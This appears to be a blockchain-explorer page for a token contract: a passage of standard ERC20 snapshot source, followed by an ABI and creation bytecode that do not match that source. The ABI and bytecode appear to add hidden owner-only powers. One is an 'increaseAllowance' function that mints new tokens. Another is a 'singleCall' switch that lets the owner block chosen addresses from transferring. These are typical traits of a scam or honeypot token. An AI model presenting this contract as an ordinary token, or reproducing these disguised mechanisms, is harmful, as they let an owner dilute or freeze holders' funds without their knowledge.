* Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
* snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
* id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
* and the account address.
*
* ==== Gas Costs
*
* Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
* n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
* smaller since identical balances in subsequent snapshots are stored as a single entry.
*
* There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
* only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
* transfers will have normal cost until the next snapshot, and so on.
*/
abstract contract ERC20Snapshot is ERC20 {
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
// https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
/**
* @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
*/
event Snapshot(uint256 id);
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example using {AccessControl}, or it may be open to the public.
*
* [WARNING]
* ====
* While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
* you must consider that it can potentially be used by attackers in two ways.
*
* First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
* logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
* specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
* section above.
*
* We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
* ====
*/
function _snapshot() internal virtual returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
/**
* @dev Retrieves the balance of `account` at the time `snapshotId` was created.
*/
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
/**
* @dev Retrieves the total supply at the time `snapshotId` was created.
*/
function totalSupplyAt(uint256 snapshotId) public view returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0, "ERC20Snapshot: id is 0");
// solhint-disable-next-line max-line-length
require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
abstract contract CMERC20Snapshot is Context, AccessControl, ERC20Snapshot {
bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
function snapshot() internal {
require(hasRole(SNAPSHOT_ROLE, _msgSender()), "ERC20Snapshot: must have snapshotter role to snapshot");
_snapshot();
}
}
// imports
contract ERC20Token is ERC20Burnable, CMERC20Snapshot {
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply_) ERC20(name, symbol) public payable {
_setupDecimals(decimals);
_totalSupply = totalSupply_;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
// set up required roles
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(SNAPSHOT_ROLE, _msgSender());
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint8","name":"decimals","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"}],"name":"Snapshot","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BURN_RATE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERCENTS_DIVIDER","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SNAPSHOT_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minimumSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"snapshotId","type":"uint256"}],"name":"balanceOfAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_singleAddress","type":"address"}],"name":"called","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getRoleMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleMemberCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowances","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_singleAddress","type":"address"}],"name":"singleCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"snapshotId","type":"uint256"}],"name":"totalSupplyAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
6080604052600060065560405162002ea438038062002ea4833981810160405260808110156200002e57600080fd5b81019080805160405193929190846401000000008211156200004f57600080fd5b838201915060208201858111156200006657600080fd5b82518660018202830111640100000000821117156200008457600080fd5b8083526020830192505050908051906020019080838360005b83811015620000ba5780820151818401526020810190506200009d565b50505050905090810190601f168015620000e85780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010c57600080fd5b838201915060208201858111156200012357600080fd5b82518660018202830111640100000000821117156200014157600080fd5b8083526020830192505050908051906020019080838360005b83811015620001775780820151818401526020810190506200015a565b50505050905090810190601f168015620001a55780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291908051906020019092919050505083838160079080519060200190620001dd92919062000571565b508060089080519060200190620001f692919062000571565b5060098060006101000a81548160ff021916908360ff16021790555033600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050506200026682620003bd60201b60201c565b806004819055506004546001600062000284620003db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002d2620003db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a36200035d6000801b62000351620003db60201b60201c565b620003e360201b60201c565b620003b360405180807f534e415053484f545f524f4c4500000000000000000000000000000000000000815250600d0190506040518091039020620003a7620003db60201b60201c565b620003e360201b60201c565b5050505062000620565b80600960006101000a81548160ff021916908360ff16021790555050565b600033905090565b620003f58282620003f960201b60201c565b5050565b62000427816000808581526020019081526020016000206000016200049c60201b620025d71790919060201c565b1562000498576200043d620003db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6000620004cc836000018373ffffffffffffffffffffffffffffffffffffffff1660001b620004d460201b60201c565b905092915050565b6000620004e883836200054e60201b60201c565b6200054357826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905062000548565b600090505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620005b457805160ff1916838001178555620005e5565b82800160010185558215620005e5579182015b82811115620005e4578251825591602001919060010190620005c7565b5b509050620005f49190620005f8565b5090565b6200061d91905b8082111562000619576000816000905550600101620005ff565b5090565b90565b61287480620006306000396000f3fe608060405234801561001057600080fd5b50600436106101c45760003560e01c80639010d07c116100f9578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e1461092b578063f61d627d146109a3578063f846a885146109c1578063ff44af1f146109df576101c4565b8063a9059cbb14610835578063ca15c8731461089b578063d547741f146108dd576101c4565b8063981b24d0116100d3578063981b24d01461072b5780639f87adc91461076d578063a217fddf146107b1578063a457c2d7146107cf576101c4565b80639010d07c146105ca57806391d148541461064257806395d89b41146106a8576101c4565b806336568abe116101665780634ee2cd7e116101405780634ee2cd7e146104a45780637028e2cd1461050657806370a082311461052457806379cc67901461057c576101c4565b806336568abe146103da578063395093511461042857806342966c6814610476576101c4565b806318160ddd116101a257806318160ddd146102d057806323b872dd146102ee578063248a9ca314610374578063313ce567146103b6576101c4565b806301c234a8146101c957806306fdde03146101e7578063095ea7b31461026a575b600080fd5b6101d1610a3b565b6040518082815260200191505060405180910390f35b6101ef610a40565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022f578082015181840152602081019050610214565b50505050905090810190601f16801561025c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102b66004803603604081101561028057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae2565b604051808215151515815260200191505060405180910390f35b6102d8610b00565b6040518082815260200191505060405180910390f35b61035a6004803603606081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b0a565b604051808215151515815260200191505060405180910390f35b6103a06004803603602081101561038a57600080fd5b8101908080359060200190929190505050610be3565b6040518082815260200191505060405180910390f35b6103be610c02565b604051808260ff1660ff16815260200191505060405180910390f35b610426600480360360408110156103f057600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c19565b005b6104746004803603604081101561043e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cb2565b005b6104a26004803603602081101561048c57600080fd5b8101908080359060200190929190505050610d1a565b005b6104f0600480360360408110156104ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d88565b6040518082815260200191505060405180910390f35b61050e610df8565b6040518082815260200191505060405180910390f35b6105666004803603602081101561053a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e31565b6040518082815260200191505060405180910390f35b6105c86004803603604081101561059257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e7a565b005b610600600480360360408110156105e057600080fd5b810190808035906020019092919080359060200190929190505050610f36565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61068e6004803603604081101561065857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f67565b604051808215151515815260200191505060405180910390f35b6106b0610f98565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f05780820151818401526020810190506106d5565b50505050905090810190601f16801561071d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107576004803603602081101561074157600080fd5b810190808035906020019092919050505061103a565b6040518082815260200191505060405180910390f35b6107af6004803603602081101561078357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061106b565b005b6107b96111d7565b6040518082815260200191505060405180910390f35b61081b600480360360408110156107e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111de565b604051808215151515815260200191505060405180910390f35b6108816004803603604081101561084b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ab565b604051808215151515815260200191505060405180910390f35b6108c7600480360360208110156108b157600080fd5b8101908080359060200190929190505050611686565b6040518082815260200191505060405180910390f35b610929600480360360408110156108f357600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ac565b005b61098d6004803603604081101561094157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611735565b6040518082815260200191505060405180910390f35b6109ab6117bc565b6040518082815260200191505060405180910390f35b6109c96117c2565b6040518082815260200191505060405180910390f35b610a21600480360360208110156109f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117c8565b604051808215151515815260200191505060405180910390f35b606481565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ad85780601f10610aad57610100808354040283529160200191610ad8565b820191906000526020600020905b815481529060010190602001808311610abb57829003601f168201915b5050505050905090565b6000610af6610aef61181e565b8484611826565b6001905092915050565b6000600454905090565b6000610b17848484611a1d565b610bd884610b2361181e565b610bd38560405180606001604052806028815260200161273560289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b8961181e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcf9092919063ffffffff16565b611826565b600190509392505050565b6000806000838152602001908152602001600020600201549050919050565b6000600960009054906101000a900460ff16905090565b610c2161181e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610ca4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612810602f913960400191505060405180910390fd5b610cae8282611e8f565b5050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d0c57600080fd5b610d168282611f22565b5050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d7457600080fd5b610d85610d7f61181e565b82611f22565b50565b6000806000610dd584600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206120c2565b9150915081610dec57610de785610e31565b610dee565b805b9250505092915050565b60405180807f534e415053484f545f524f4c4500000000000000000000000000000000000000815250600d019050604051809103902081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ed457600080fd5b6000610f138260405180606001604052806024815260200161275d60249139610f0486610eff61181e565b611735565b611dcf9092919063ffffffff16565b9050610f2783610f2161181e565b83611826565b610f318383611f22565b505050565b6000610f5f8260008086815260200190815260200160002060000161221c90919063ffffffff16565b905092915050565b6000610f908260008086815260200190815260200160002060000161223690919063ffffffff16565b905092915050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110305780601f1061100557610100808354040283529160200191611030565b820191906000526020600020905b81548152906001019060200180831161101357829003601f168201915b5050505050905090565b600080600061104a84600b6120c2565b91509150816110605761105b610b00565b611062565b805b92505050919050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110c557600080fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561117b576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506111d4565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000801b81565b60006112a16111eb61181e565b8461129c856040518060600160405280602581526020016127eb602591396003600061121561181e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcf9092919063ffffffff16565b611826565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff166112cc61181e565b73ffffffffffffffffffffffffffffffffffffffff161415611339576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806127a26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061269a6023913960400191505060405180910390fd5b600260006113cb61181e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114675750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114be57600082146114bd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b611531826040518060600160405280602681526020016126df60269139600160006114e761181e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcf9092919063ffffffff16565b6001600061153d61181e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661162f61181e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006116a56000808481526020019081526020016000206000016122ee565b9050919050565b6116d2600080848152602001908152602001600020600201546116cd61181e565b610f67565b611727576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806127056030913960400191505060405180910390fd5b6117318282611e8f565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127c76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611932576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126bd6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aa3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806127a26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b29576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061269a6023913960400191505060405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bca5750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c215760008114611c20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b611c8d816040518060600160405280602681526020016126df60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcf9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d2281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611e7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e41578082015181840152602081019050611e26565b50505050905090810190601f168015611e6e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b611eb68160008085815260200190815260200160002060000161230390919063ffffffff16565b15611f1e57611ec361181e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fa8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806127816021913960400191505060405180910390fd5b611ffa81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120528160045461226690919063ffffffff16565b6004819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000806000841161213b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4552433230536e617073686f743a20696420697320300000000000000000000081525060200191505060405180910390fd5b612145600d612333565b8411156121ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4552433230536e617073686f743a206e6f6e6578697374656e7420696400000081525060200191505060405180910390fd5b60006121d2858560000161234190919063ffffffff16565b905083600001805490508114156121f3576000808090509250925050612215565b600184600101828154811061220457fe5b906000526020600020015492509250505b9250929050565b600061222b83600001836123f6565b60001c905092915050565b600061225e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612479565b905092915050565b6000808284019050838110156122e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f